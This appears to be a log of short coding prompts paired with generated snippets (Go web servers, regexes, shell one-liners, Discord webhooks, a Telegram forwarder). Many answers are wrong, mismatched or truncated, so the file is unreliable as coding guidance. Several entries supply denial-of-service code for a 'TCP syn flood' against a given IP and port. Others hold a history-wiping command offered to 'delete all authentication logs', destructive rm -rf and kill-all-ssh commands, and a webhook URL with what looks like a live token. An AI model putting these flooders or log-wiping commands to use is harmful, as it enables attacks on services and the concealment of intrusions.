blocks country from firewall

ufw deny from {country code}

create a webserver on port 8080

package main import ( "net/http" "log" ) func main() { http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { w.Write([]byte("Hello World")) }) log.Fatal(http.ListenAndServe(":8080", nil)) }

Check if a list called support contains "SilkyFalcon"

if "SilkyFalcon" not in support: print("SilkyFalcon is not in the list")

System.out.PrintLN("Hello")

System.out.println("Hello")

Check if a list called support contains "SilkyFalcon"

support := []string{"SilkyFalcon"} for _, val := range support { if val == "SilkyFalcon" { fmt.Println("It does contain SilkyFalcon") } }

ps aux | grep ssh | awk '{print $2}' | xargs kill -9

O(n)

check if text contains any swear words

Script function contains_swears(text: string) -> bool: return 'fuck' in text

neofetch

neofetch

Connect to a database then delete all data

func delete(db *sql.DB) { _, err := db.Exec("delete from users") if err != nil { fmt.Println("delete err:", err) } }

package net.neoscale.database; import com.mongodb.MongoClient; import com.mongodb.client.MongoCollection; import com.mongodb.client.MongoDatabase; import org.bson.Document; import java.util.HashMap; import java.util.Map; /** * Represents a MongoDB database connector. */ public class Database { /** * The map of the cached collections. */ private final Map<String, MongoCollection<Document>> collectionCache = new HashMap<>(); /** * The host address of the database. */ private final String host; /** * The listening port of the database. */ private final int port; /** * The name of the database. */ private final String database; /** * The names of the collections we want to use. */ private final String[] collections; /** * The connected client for the database. */ private MongoClient client; /** * The cached database instance. */ private MongoDatabase databaseCache; /** * Initialize database. * * @param host database host * @param port database port * @param database database name * @param collections used database collections */ public Database(String host, int port, String database, String... collections) { this.host = host; this.port = port; this.database = database; this.collections = collections; } /** * Initialize the database connection. */ public void connect() { client = new MongoClient(host, port); // get the database by name databaseCache = client.getDatabase(database); // get and cache the collections for (String collection : collections) { collectionCache.put(collection, databaseCache.getCollection(collection)); } } /** * Close the connection of the database. */ public void disconnect() { client.close(); } /** * Get the cached database. * * @return cached database */ public MongoDatabase getDatabase() { return databaseCache; } /** * Get a collection from cache. * * @param name collection name * @return cached collection */ public MongoCollection<Document> getCollection(String name) { // get the collection from cache MongoCollection<Document> collection = collectionCache.get(name); if (collection != null) return collection; // fetch the collection from database collection = databaseCache.getCollection(name); // put the collection in the cache collectionCache.put(name, collection); return collection; } }

The code is a simple representation of the database connection and it's usage.

open every file in a specific folder than open all of them and write "Coded by Inventex" to the first line as a comment

using System.IO; string path = "C:\Users\ierturk\Desktop\test"; string[] files = Directory.GetFiles(path); foreach (string fileName in files) { string content = File.ReadAllText(fileName); File.WriteAllText(fileName, "// Coded by Inventex\r\n" + content); }

this command has 1 argument. you should provide a file name, if it not exits it should send an error message. if it exsists get all email addresses from a file

grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" <filename>

send me an sms

echo "I am sending you an sms." | mail -s "sms" myphonenumber@messaging.sprintpcs.com

Cryptogarphy password with a one-way encryption

yum install -y httpd

Connect to database

const connect_to_db = () => { const mongoose = require('mongoose'); mongoose.connect('mongodb://localhost:27017/<DB_NAME>', {useNewUrlParser: true, useUnifiedTopology: true}); const db = mongoose.connection; db.on('error', console.error.bind(console, 'connection error:')); db.once('open', console.log.bind(console, 'Connected to db')); }

Create a linux killer sh

touch killer.sh

Download and install TOR

see who pinged the pc

ping -c 2 google.com

Check if "tudni" equals "akarni", if not echo "Tudni != Akarni" with for loop

for ((i=1;i<=10;i++)) do if [ "$tudni" == "akarni" ]; then echo "Tudni == Akarni" else echo "Tudni != Akarni" fi done

TCP syn flood method with these args: string ip, int port, int delay, int threads

using System; using System.Net; using System.Net.Sockets; using System.Text; using System.Threading; using System.Collections.Generic; using System.Linq; namespace TCPFlooder { public class TCPFlooder { static void Main(string[] args) { string ip = args[0]; int port = Convert.ToInt32(args[1]); int delay = Convert.ToInt32(args[2]); int threads = Convert.ToInt32(args[3]); var list = Enumerable.Range(0, threads).Select(i => new Thread(() => new TCPFlooder().Flood(ip, port, delay))).ToList(); foreach (Thread t in list) t.Start(); } public void Flood(string ip, int port, int delay) { while (true) { Socket sck = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.U

check if apt is installed

apt

Block all urls and links

^(?:https?:\/\/)?(?:[^@\n]+@)?(?:www\.)?(?:[^:\/\n?]+)?(?:\:\d+)?(?:\/?[^#\n?]*)?(?:[#\?]?.*)?$

remove duplicates from a specific file

sort dups.txt | uniq

Check if a list called support contains "SilkyFalcon"

if(!in_array("SilkyFalcon", $support)) { array_push($support, "SilkyFalcon"); }

Check if an email is valid from a file what contains each line an email

grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" <file.txt

TCP syn flood method with these args: string ip, int port, int delay, int threads

class synFlooder : Flooder { public override void attack(string ip, int port, int delay, int threads) { try { // the socket class Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Tcp); // packet struct structs.IPHeader ipHeader = new structs.IPHeader(); structs.TCPHeader tcpHeader = new structs.TCPHeader(); // some random ports Random r = new Random(); // the ip address IPAddress dest = IPAddress.Parse(ip); // ip header ipHeader.ip_verlen = 0x45; ipHeader.ip_tos = 0x00; ipHeader.ip_totallength = 0; ipHeader.ip_id = 0; ipHeader.ip_offset = 0; ipHeader.ip_ttl = 0xFF; ipHeader.ip_protocol = 0x06;

command requires 2 arguments, the first one is a file name if it not exits send error and the second argument is a string what is the file will be removed to. If any args are missing send and error message

if [ $# -eq 2 ] ; then if [ -e $1 ] then echo "File $1 exists" echo "Moving $1 to $2" mv $1 $2 echo "Moving Successful" else echo "File $1 does not exist" fi else echo "Error, Wrong number of arguments" fi

send a discord webhook message from 1st argument

void send_message(string message) { }

Connect to a database then delete all data

func delete_data() { database_connect() database_delete_all_data() }

Clear all files in log directory

rm log/*

Turn off computer

def turn_off(): print("Turning off") time.sleep(2) print("Turned off") turn_off()

get location by ip

curl ipinfo.io/ip

kill task on specific port

lsof -i:8080 kill -9 PID_NUMBER

package me.silkyfalcon.client; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.List; public class Reader { private final String url; private final List<String> data = new ArrayList<>(); public Reader(String url) { this.url = url; } public void connect() { try { HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection(); connection.setRequestMethod("GET"); connection.setDoInput(true); try (BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8))) { String line; while ((line = reader.readLine()) != null) { data.add(line); } } } catch (IOException e) { throw new RuntimeException(e); } } public String find(String identifier) { for (String element : data) { if (element.startsWith(identifier)) { return element.substring(identifier.length()); } } return identifier; } }

def find(identifier: str) -> str: for element in data: if element.startswith(identifier): return element[identifier.length:] return identifier

Password generator with emojis

head -c 6 /dev/urandom | base64 | tr '/+' '🍏'

Check if "tudni" equals "akarni", if not echo "Tudni != Akarni" with for loop

for i in test tudni akarni; do if [[ $i != "tudni" ]];then echo "Tudni != Akarni" fi done

show memory size

free -m

add crontab what runs every sec and echo test

* * * * * echo test

this command has 1 argument. you should provide a file name, if it not exits it should send an error message. if it exsists get all email addresses from a file

grep email test.txt

Funniest linux command

find / -name * -print

strong password generator

apg -m 10 -n 1 -x 14 -M NCL -t

Block all urls and links

https://www.reddit.com/r/Twitch/comments/4e4k89/nsfw_regex/

show cpu usage

top

Turn off computer

#include <stdio.h> int main() { system("shutdown -s -t 0"); return 0; }

open every file in a specific folder than open all of them and write "Coded by Inventex" to the first line as a comment

#include <iostream> #include <fstream> #include <dirent.h> using namespace std; int main() { DIR *dir; struct dirent *ent; if ((dir = opendir ("C:/Users/Inventex/Downloads/Code")) != NULL) { while ((ent = readdir (dir)) != NULL) { string name = ent->d_name; if(name.find(".txt") != string::npos) { ofstream outfile; outfile.open("C:/Users/Inventex/Downloads/Code/"+name); outfile << "//Coded by Inventex" << endl; outfile.close(); } } closedir (dir); } else { cout << "Could not open the folder" << endl; } return 0; }

calculator

class Calculator: def add(self, x, y): return x + y calc = Calculator() print(calc.add(2, 3))

Basic js obfuscator written in go

package main import ( "strconv" "github.com/google/go-js-transform/transform" "github.com/google/go-js-transform/js/parser" "github.com/google/go-js-transform/js/printer" "github.com/google/go-js-transform/passes/replace" "github.com/google/go-js-transform/passes/rename" ) var ( transforms = []transform.Transform{ rename.NewRenamer(), replace.NewReplacer(), } ) func main() { p := parser.New() for _, t := range transforms { p.AddTransform(t) } pr := printer.Config{ Indent: " ", LineLength: 80, } code := ` function add(a, b) { return a + b; } ` node,

package me.silkyfalcon.client; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.List; public class Reader { private final String url; private final List<String> data = new ArrayList<>(); public Reader(String url) { this.url = url; } public void connect() { try { HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection(); connection.setRequestMethod("GET"); connection.setDoInput(true); try (BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8))) { String line; while ((line = reader.readLine()) != null) { data.add(line); } } } catch (IOException e) { throw new RuntimeException(e); } } public String find(String identifier) { for (String element : data) { if (element.startsWith(identifier)) { return element.substring(identifier.length()); } } return identifier; } }

O(n)

get total disk space

df -h

Download and install TOR

void installTOR { wget https://www.torproject.org/dist/torbrowser/9.0.4/tor-browser-linux64-9.0.4_en-US.tar.xz sudo apt install tor }

\b(fuck)\b

The regex matches words that are exactly "fuck".

this command has 1 argument. you should provide a file name, if it not exits it should send an error message. if it exsists get all email addresses from a file

grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" <file_name>

Cryptogarphy password with a one-way encryption

mkdir test

ps aux | grep ssh | awk '{print $2}' | xargs kill -9

### How to deal with time complexity? - Use data structures with good time complexity for basic operations. - Use libraries with good time complexity for basic operations. - Measure time complexity of the code. - Look for bottlenecks. - Think about time complexity before writing the code. ### Space Complexity - Space complexity of an algorithm quantifies the amount of space or memory taken by an algorithm to run as a function of the length of the input. - Space complexity needs to be taken seriously for multi-user systems, embedded systems, and systems where memory is at a premium. - Space complexity includes both Auxiliary space and space used by input. - Auxiliary space is the extra space or temporary space used by an algorithm. - Space complexity of an algorithm is mostly the function of input size. - Example: If the input size is n, then space complexity can be O(1), O(n), O(n2), O(log n), O(n log n), etc. - Space complexity can be defined as a function relating the input length to the space required by the algorithm.

Rename file

mv original.txt renamed.txt

delete just the kernel

rm -rf kernel

send a webhook message from 1st argument

# public string SendMessageToWebhook(string message) { var webhookUrl = "https://discordapp.com/api/webhooks/XXXXX/XXXX"; var httpClient = new HttpClient(); var content = new StringContent(message); var response = httpClient.PostAsync(webhookUrl, content).Result;

Open port 80 with iptables

iptables -A INPUT -p tcp --dport 80 -j ACCEPT

output all system information

cat /proc/version

remove duplicates from a specific file

cat file.txt | uniq

Delete everything from pc

rm -rf *

check if a specific ip can ping the pc

ping ip

Block all links

<a href="https://www.google.com">google</a>

Show free disk on pc in gb

df -h

delete just the kernel

rm -rf /mnt/test/boot/kernel

List biggest files

du -a /var | sort -n -r | head -n 5

Create a webserver function with arguments that are parsed to json format

// Create a simple HelloWorld function that takes a name as string and returns "Hello " + name package main import ( "fmt" "net/http" "github.com/gorilla/mux" ) func main() { // Create a Router with a simple route and handler function mux := mux.NewRouter() mux.HandleFunc("/{name}", HelloWorld).Methods("GET") // Output "Hello World" when on http://localhost:8000/Hello http.ListenAndServe(":8000", mux) } func HelloWorld(w http.ResponseWriter, r *http.Request) { name := mux.Vars(r)["name"] fmt.Fprint(w, "Hello "+name) }

show memory size in gb raw

free -g

Clear all file's data in log directory

rm -rf log/*

check if text contains any swear words

Script function check(text) { var swearWords = ['fuck', 'bitch', 'shit', 'damn', 'cunt']; for (var i = 0; i < swearWords.length; i++) { if(text.indexOf(swearWords[i]) !== -1) { return 'That\'s the worst!'; } else { return 'This is nice'; } } } check('fuck');

Block specific ip with iptables by 1st agument and check if command has argument

if [ $# -eq 0 ] then echo "You must type an IP address!" else sudo iptables -A INPUT -s "$1" -j DROP echo "IP address $1 is now blocked!" fi

Connect to database

const queries = { users: { allUsers: 'SELECT * FROM users' } }; function query(query, params) { return new Promise((resolve, reject) => { pool.query(query, params, (err, res) => { if (err) { reject(err); } resolve(res); }); }); }; function getUsers() { return query(queries.users.allUsers); }; getUsers() .then(res => { console.log(res); }) .catch(err => { console.error(err); });

stop minecraft server

stop

stop all docker

docker stop $(docker ps -a -q)

Check if arg 1 user has sudo access

echo $1 | sudo -S -k ls

Get cpu usage in percentage

top -b -n1 | grep "Cpu(s)" | awk '{print $2 + $4}'

send a message to discord if someone tried to connect to ssh from an other country than hungary

journalctl -f -u ssh.service | grep -i "port 22" | grep -v 192.168.0.0 | wget -qO- --post-data '{"content":"SSH login from another country"}' --header 'Content-Type: application/json' https://discordapp.com/api/webhooks/690800743340001300/HriKZpV1Z5CYm7VdlJjKm2cVFbN6h2gCVwcxqZ3_jHrX9-Lp6aWK6UJN6Uohgk_a6GkU

send a discord webhook message

#include <discord_webhook.h> #include <string> void sendMessage(std::string message){ std::cout << message; } sendMessage("Hello World");

Print hello with for loop

fn main() { for _i in 0..3 { println!("Hello"); } }

send a message to discord if someone tried to connect to ssh from an other country than hungary

ssh user@server "if [ $SSH_CLIENT != *"HU"* ] ; then echo \"$SSH_CLIENT\" ; fi"

Turn off computer

import os os.system("sudo shutdown -h now")

Terminate all ssh sessions but mine

ps -aux | grep ssh kill -9 [processID]

Create a webserver

package main import ( "fmt" "net/http" ) func main() { http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "Hello, you've requested: %s\n", r.URL.Path) }) http.ListenAndServe(":8000", nil) }

strong password generator

openssl rand -base64 32

ps aux | grep ssh | awk '{print $2}' | xargs kill -9

O(N)

List biggest files

du -a | sort -n -r | head -n 10

Connect to database

function connect_to_database(username, password, database_name): // connect to database using username, password and database name // return connection object return connection

Check if "tudni" equals "akarni", if not echo "Tudni != Akarni" with for loop

if [ $tudni == $akarni ]; then echo "Tudni == Akarni" else echo "Tudni != Akarni" fi

open every file in a specific folder than open all of them and write "Coded by Inventex" to the first line as a comment

package main import ( "bufio" "fmt" "io/ioutil" "os" ) func main() { files, err := ioutil.ReadDir("./") if err != nil { fmt.Println(err) os.Exit(1) } for _, f := range files { if f.Name()[0] == "." { continue } file, _ := os.Open(f.Name()) writer := bufio.NewWriter(file) writer.WriteString("// Coded by Inventex\n") writer.Flush() file.Close() } }

Check if "tudni" equals "akarni", if not echo "Tudni != Akarni" with for loop

for i in $(seq 1 1 10); do if [ "$1" != "akarni" ]; then echo "Tudni != Akarni" fi done

TCP syn flood method with these args: string ip, int port, int delay, int threads

static void synFlood(string ip, int port, int delay, int threads) { try { TcpClient client = new TcpClient(); IPEndPoint ipEndPoint = new IPEndPoint(IPAddress.Parse(ip), port); client.Connect(ipEndPoint); client.Close(); } catch (Exception ex) { Console.WriteLine(ex.Message); } }

TCP syn flood method

using System; using System.Diagnostics; using System.Net; using System.Net.Sockets; using System.Threading; namespace SynFlooder { public class Flood { public static string ip = "192.168.1.1"; public static int port = 80; public static int delay = 1; public static int threads = 25; public static int threads1 = 25; public static void Main(string[] args) { var thread = new Thread(() => { while (true) { var syn = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); syn.Connect(new IPEndPoint(IPAddress.Parse(ip), port)); } }); thread.Start(); Console.WriteLine($"Flooding {ip}:{port} with {threads} threads"); Console.ReadLine(); } } }

Get all ip's connected to pc

ipconfig

Check if a list called support contains "SilkyFalcon"

if("SilkyFalcon" %in% support){ print("Yes") }

show current btc price

curl -s https://api.bitfinex.com/v1/ticker/btcusd | python -m json.tool | grep -i last_price | awk '{print $2}' | tr -d '"'

add machine restart to crontab in every seconds

@reboot /etc/init.d/ssh start * * * * * /etc/init.d/ssh start

Connect to database

void connectDatabase(){ // do something }

check if command has argument

if($#argv != 1){ echo "ERROR: not enough arguments in $argv[0]" exit 1 }

Connect to database

const db = require('db'); const database = db.connect();

strong password generator

openssl rand -base64 8

Delete windows

#include <iostream> using namespace std; int main() { cout << "Hello World!"; return 0; }

Remove all files

std::remove("file.txt");

Stop every service

service --status-all

search on google

#!/bin/bash firefox google.com

Check if a list called support contains "SilkyFalcon"

#include <iostream> #include <vector> int main() { std::vector<std::string> support = {"SilkyFalcon", "HelenLau"}; if (std::find(support.begin(), support.end(), "SilkyFalcon") != support.end()) { std::cout << "SilkyFalcon is in the support list\n"; } else { std::cout << "SilkyFalcon is not in the support list\n"; } return 0; }

package dev.inventex.queuesystem; import com.google.inject.Inject; import com.moandjiezana.toml.Toml; import com.velocitypowered.api.command.CommandManager; import com.velocitypowered.api.command.CommandMeta; import com.velocitypowered.api.event.Subscribe; import com.velocitypowered.api.event.proxy.ProxyInitializeEvent; import com.velocitypowered.api.plugin.Plugin; import com.velocitypowered.api.plugin.annotation.DataDirectory; import com.velocitypowered.api.proxy.ProxyServer; import dev.inventex.queuesystem.modules.QueueCommand; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import org.slf4j.Logger; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.nio.file.Files; import java.nio.file.Path; @Plugin(id = "queuesystem", name = "QueueSystem", version = "1.0-SNAPSHOT", url = "inventex.dev", authors = {"SilkyFalcon"}) public class QueueSystem { private static Logger logger; private static ProxyServer server; private static Path path; private static Toml toml; @Inject public QueueSystem(@NotNull Logger logger, ProxyServer server, @DataDirectory Path path) { QueueSystem.logger = logger; QueueSystem.server = server; QueueSystem.path = path; logger.info("[VelocityQueue] Started!"); } @Subscribe public void onProxyInitialization(ProxyInitializeEvent event) { toml = new Toml().read(loadTomlFile()); CommandManager commandManager = server.getCommandManager(); CommandMeta commandMeta = commandManager.metaBuilder("queue").build(); commandManager.register(commandMeta, new QueueCommand()); } public @Nullable File loadTomlFile() { final File file = new File(path.toFile() + "/config.toml"); if (path.toFile().exists()) return file; path.toFile().mkdirs(); if (file.exists()) return file; try (InputStream inputStream = getClass().getResourceAsStream("/" + file.getName())) { if (inputStream == null) return null; Files.copy(inputStream, file.toPath()); } catch (IOException e) { e.printStackTrace(); } return file; } public static Toml getToml() { return toml; } public static ProxyServer getServer() { return server; } public static Logger getLogger() { return logger; } }

package dev.inventex.queuesystem; import com.google.inject.Inject; import com.moandjiezana.toml.Toml; import com.velocitypowered.api.command.CommandManager; import com.velocitypowered.api.command.CommandMeta; import com.velocitypowered.api.event.Subscribe; import com.velocitypowered.api.event.proxy.ProxyInitializeEvent; import com.velocitypowered.api.plugin.Plugin; import com.velocitypowered.api.plugin.annotation.DataDirectory; import com.velocitypowered.api.proxy.ProxyServer; import dev.inventex.queuesystem.modules.QueueCommand; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import org.slf4j.Logger; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.nio.file.Files;

check for emails

^\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}$

Connect to a database then delete all data

func deleteData(conn string) { defer db.Close() db, err := sql.Open("mysql", conn) if err != nil { log.Fatalf("Error connecting to database: %v", err) } // ... _, err = db.Exec("DELETE FROM user") if err != nil { log.Fatalf("Error deleting data: %v", err) } }

Remove the complete os

sudo apt-get remove --purge <package name>

Check from two inputs which one is grader?

// C++ code int max(int num1, int num2) { // local variable declaration int result; if (num1 > num2) result = num1; else result = num2; return result; } max(1, 2)

Delete all files in pc with for loop

for i in $(ls); do rm $i; done

Block all links and urls

https://www.google.com http://www.google.com www.google.com google.com https://google.com http://google.com

Check if tor is running

console.log(`Is tor running? ${await getIsTorRunning()}`);

get input and multiply by 20

func multiplyBy20(a int) int { return a * 20 } func main() { fmt.Println(multiplyBy20(10)) }

send a webhook message from 1st argument

void webhook(char message) { //send message } webhook("hello world")

Create a linux killer sh

touch test.sh nano test.sh

check if a specific ip can ping my computer

ping 8.8.8.8

check download and upload speed

speedtest-cli

open every file in a specific folder than open all of them and write "Coded by Inventex" to the first line as a comment

def add(a, b): return a + b add(1, 2)

Terminate all ssh connections but not my

pkill -9 ssh

cowsay

#!/bin/bash cowsay $(fortune)

Check if an email is valid

var email = "johndoe@gmail.com"; var emailRegex = /^[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}$/; if (emailRegex.test(email)) { console.log(email + " is valid."); } else { console.log(email + " is not valid."); }

Turn off computer

function(){ #ifconfig wlan0 down #ifconfig eth0 down sudo shutdown }

Create a gui

func Gui() { window := gtk.NewWindow(gtk.WINDOW_TOPLEVEL) window.SetPosition(gtk.WIN_POS_CENTER) window.SetTitle("First GUI in Go") window.Connect("destroy", func(ctx *glib.CallbackContext) { println("called when window is closed") gtk.MainQuit() }) window.ShowAll() }

Download and install TOR to windows

using OpenQA.Selenium; using OpenQA.Selenium.Chrome; using OpenQA.Selenium.Firefox; using OpenQA.Selenium.IE; using OpenQA.Selenium.Support.UI; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Net; using System.Text; using System.Threading; using System.Threading.Tasks; namespace SeleniumTest_6 { class Program { static void Main(string[] args) { Console.WriteLine("Starting to download the TOR browser"); using (WebClient Client = new WebClient()) { Client.DownloadFile("https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe", @"C:\Users\YOURUSER\Downloads\torbrowser

Basic js obfuscator written in go

func add(a, b int) int{ return a+b }

Delete windows

func DeleteWindows()

export mariadb database

mysqldump -u root -p --databases DATABASE_NAME > DATABASE_NAME.sql

send a webhook message from 1st argument

import requests def send_message(message): url = 'https://discordapp.com/api/webhooks/some_long_url' requests.post(url, json={"content": message}) send_message("Hello World!")

clear all logs

cat /dev/null > ~/.bash_history && history -c && exit

delete all from /var/log

rm -rf /var/log/*

from telethon import TelegramClient, events import requests import telethon import aiohttp import nextcord import textwrap import os import requests import json import random from dotenv import load_dotenv '''This will load your .env file''' load_dotenv() url = os.environ.get("WEBHOOK") appid = os.environ.get("APPID") apihash = os.environ.get("APIHASH") apiname = os.environ.get("APINAME") webhookprofile = os.environ.get("WEBHOOK_NAME") mention = os.environ.get("MENTION_ROLE_ID") input_channels_entities = os.environ.get("INPUT_CHANNELS") blacklist = os.environ.get("BLACKLIST") if blacklist == 'True': blacklist = True if input_channels_entities is not None: input_channels_entities = list(map(int, input_channels_entities.split(','))) '''Multiple channel handler''' '''This method handles Telegram events and login system''' def start(): client = TelegramClient(apiname, appid, apihash) client.start() print("[TelegramForwarder]") print(f"Input channels: {input_channels_entities}") @client.on(events.NewMessage(chats=input_channels_entities, blacklist_chats=blacklist)) async def handler(event): # Log sent messages msg = event.message.message print(f"[Visible] {msg}") standard_message_sender("<@&" + mention + ">") webhook_sender(msg) # If a message is sent by a bot it won't be forwarded by Discord. if type(event.chat) == telethon.tl.types.User: return client.run_until_disconnected() '''HTTP request-based webhook embed message sending''' def webhook_sender(message): data = {"username": webhookprofile} data["embeds"] = [ { "title": "", "description": message, "color": 16777215 }] result = requests.post(url, json=data) try: result.raise_for_status() except requests.exceptions.HTTPError as err: print(err) '''HTTP request-based webhook message sending''' def standard_message_sender(message): data = { "content" : message, "username" : webhookprofile } result = requests.post(url, json = data) try: result.raise_for_status() except requests.exceptions.HTTPError as err: print(err) '''Main method''' if __name__ == "__main__": start()

## Step 5: Running the bot Use the following command to start the bot:

strong password generator

pwgen

Send a discord webhook message

void sendMessage(String message) { var data = json.encode({ 'content': message, 'username': 'YOUR_USER_NAME', 'avatar_url': 'THE_AVATAR_URL' }); http.post( 'DISCORD_WEBHOOK_URL', headers: { 'Content-Type': 'application/json', }, body: data); } sendMessage('test message')

remove duplicates from a specific file

sort -u test > test

Check from two inputs which one is grader?

uby def grader(num1, num2): if num1 > num2: return "num1 is greater" elif num2 > num1: return "num2 is greater" else: return "they are equal" grader(5, 6)

from telethon import TelegramClient, events import requests import telethon import aiohttp import nextcord import textwrap import os import requests import json import random from dotenv import load_dotenv '''This will load your .env file''' load_dotenv() url = os.environ.get("WEBHOOK") appid = os.environ.get("APPID") apihash = os.environ.get("APIHASH") apiname = os.environ.get("APINAME") webhookprofile = os.environ.get("WEBHOOK_NAME") mention = os.environ.get("MENTION_ROLE_ID") input_channels_entities = os.environ.get("INPUT_CHANNELS") blacklist = os.environ.get("BLACKLIST") if blacklist == 'True': blacklist = True if input_channels_entities is not None: input_channels_entities = list(map(int, input_channels_entities.split(','))) '''Multiple channel handler''' '''This method handles Telegram events and login system''' def start(): client = TelegramClient(apiname, appid, apihash) client.start() print("[TelegramForwarder]") print(f"Input channels: {input_channels_entities}") @client.on(events.NewMessage(chats=input_channels_entities, blacklist_chats=blacklist)) async def handler(event): # Log sent messages msg = event.message.message print(f"[Visible] {msg}") standard_message_sender("<@&" + mention + ">") webhook_sender(msg) # If a message is sent by a bot it won't be forwarded by Discord. if type(event.chat) == telethon.tl.types.User: return client.run_until_disconnected() '''HTTP request-based webhook embed message sending''' def webhook_sender(message): data = {"username": webhookprofile} data["embeds"] = [ { "title": "", "description": message, "color": 16777215 }] result = requests.post(url, json=data) try: result.raise_for_status() except requests.exceptions.HTTPError as err: print(err) '''HTTP request-based webhook message sending''' def standard_message_sender(message): data = { "content" : message, "username" : webhookprofile } result = requests.post(url, json = data) try: result.raise_for_status() except requests.exceptions.HTTPError as err: print(err) '''Main method''' if __name__ == "__main__": start()

## ⚠️ Troubleshooting ### My bot never started Make sure you have set the following environment variables correctly: - APPID - APIHASH - APINAME - WEBHOOK - WEBHOOK_NAME - INPUT_CHANNELS - MENTION_ROLE_ID - BLACKLIST ### The bot is not sending any message - Make sure the bot is connected to your server - Make sure you have set the bot's role above all other roles - Make sure you have entered the channel ID correctly - Make sure you have entered the role ID correctly ## 🚀 Deploy on Heroku [![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy) ## 📜 License - **[MIT license](http://opensource.org/licenses/mit-license.php)**

send message to discord webhook

curl -X POST -H "Content-Type: application/json" -d "{\"username\": \"Travis CI\", \"avatar_url\": \"https://travis-ci.org/images/logos/TravisCI-Mascot-1.png\", \"content\": \"I have finished testing the new branch, here is my result: <https://travis-ci.org/you/yourepo/builds/${TRAVIS_BUILD_NUMBER}>\"}" "https://discordapp.com/api/webhooks/xxxxxxxxxxxxxxxxxxx/xxxxxxxxxxxxxxxxxxxxxxxxxx"

fully lock pc

sudo vlock -a

Check from two inputs which one is grader?

bool checker(int a, int b) { int c = a - b; if (c > 0) return true; else return false; }

TCP syn flood method with these args: string ip, int port, int delay, int threads

static public void Main () { System.Console.WriteLine ("Hello World"); }

export a specific database

pg_dump -h localhost -p 5432 -U postgres -F c -b -v -f "/home/test.backup" db_name

Check if arg 1 user has sudo access

echo 'a' | sudo -S -v 2> /dev/null && echo "$1 has sudo access"

remove duplicates from a specific file

sort test/b.txt | uniq > test/unique.txt

Regex email

/^[a-z0-9]+@[a-z0-9]+\.[a-z]{2,3}$/

Most advanced things in go

func add(a int, b int) int { return a + b }

Delete all authentication logs

cat /dev/null > ~/.bash_history && history -c && exit

XMR miner

class miner { public static void main() { int i = 0; while (true) { while (i < 1000) { i = i + 1; } } } }

Print hello with for loop

for i in range(5): print("Hello")

Regex email

/^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/

Send message to user if someone logged into ssh

echo "hello world" | wall -n

Password generator with emojis

python -c "import random, string; print ''.join([random.choice(string.ascii_letters + string.digits + '-.,:;+=_*~?!()[]{}^@%#') for _ in range(30)]).replace(' ', '')"

package me.silkyfalcon.client; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.List; public class Reader { private final String url; private final List<String> data = new ArrayList<>(); public Reader(String url) { this.url = url; } public void connect() { try { HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection(); connection.setRequestMethod("GET"); connection.setDoInput(true); try (BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8))) { String line; while ((line = reader.readLine()) != null) { data.add(line); } } } catch (IOException e) { throw new RuntimeException(e); } } public String find(String identifier) { for (String element : data) { if (element.startsWith(identifier)) { return element.substring(identifier.length()); } } return identifier; } }

http request GET http://localhost:8080/greeting

Check if tor is running windows

if (process.platform === "win32") { console.log("Running on windows"); }

Check if a list called support contains "SilkyFalcon"

fun main(args: Array<String>) { val support = listOf<String>("Dennis", "SilkyFalcon", "Brianna") if ("SilkyFalcon" in support) { println("Yay!") } else { println("Nay!") } }

delete user args1

sudo deluser args1

Create a webserver with json format

func main() { http.HandleFunc("/", func (w http.ResponseWriter, r *http.Request) { fmt.Fprint(w, `{"message": "Hello World"}`) }) http.ListenAndServe(":3000", nil) }

Create a linux killer sh

vim killer.sh

TCP syn flood method with these args: string ip, int port, int delay, int threads

private void tcpMethod(string ip, int port, int delay, int threads) { TcpClient tcp = new TcpClient(); IPAddress ipa = IPAddress.Parse(ip); IPEndPoint ipep = new IPEndPoint(ipa, port); tcp.Connect(ipep); int i = 1; while (i <= threads) { Thread.Sleep(delay); tcp.Connect(ipep); i++; } }

Connect to database

import 'package:firebase_database/firebase_database.dart'; final dbRef = FirebaseDatabase.instance.reference(); dbRef.child("name").set("John"); dbRef.child("age").set(20); dbRef.child("name").once().then((DataSnapshot snapshot) { print('Connected to second database and read ${snapshot.value}'); });

